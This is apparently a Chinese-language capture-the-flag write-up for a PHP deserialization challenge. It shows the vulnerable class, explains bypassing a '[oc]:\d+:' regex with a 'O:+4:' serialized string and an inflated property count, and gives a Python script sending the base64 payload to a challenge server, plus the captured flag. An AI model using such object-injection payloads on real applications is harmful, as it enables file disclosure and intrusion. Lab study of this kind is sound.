<?php
class Demo {
// 初始化给变量内容,也就是当前文件,高亮显示出来
private $file = 'index.php';
// 初始化触发函数:把我们输入的东西放入属性变量里,就是我们反序列化的时候输入的东西
public function __construct($file) {
$this->file = $file;
}
// 销毁时候触发,相当于是打印flag文件出来
function __destruct() {
echo @highlight_file($this->file, true);
}
// 这个方法不会触发,估计是旧版本的php,满足某些情况所以没有触发
// 纯碎用来吓人,我还研究了一晚上如何让 fl4g.php == index.php
// fl4g.php == index.php,就算是弱比较也是不可能相等的
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php // 直接访问是空气
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
// 即是重点,也是难点,更是无用的点
// 现在版本的php都已经修复了
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
坑点:__wakeup函数可以忽略,根本不会触发,
麻痹研究了我一晚上如何才能让 fl4g.php == index.php
最后结论:就算是弱比较,也不可能相等,没有其他办法
所以只需要绕过正则表达式即可,不会正则表达式自己去学习
既不简单,也不难,我也学了几天才算比较掌握
写上测试脚本
import requests,base64
# 两个payload都可以
str = 'O:+4:"Demo":2:{s:10:"\x00Demo\x00file";s:8:"fl4g.php";}'
str = 'O:+4:"Demo":2:{s:10:"\00Demo\00file";s:8:"fl4g.php";}'
# 编码
base64_str = base64.b64encode(str.encode('utf-8')).decode('utf-8')
# 发送请求
res = requests.get('http://61.147.171.105:56675?var='+base64_str)
if "flag" in res.text:
print("成功了")
base64:TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}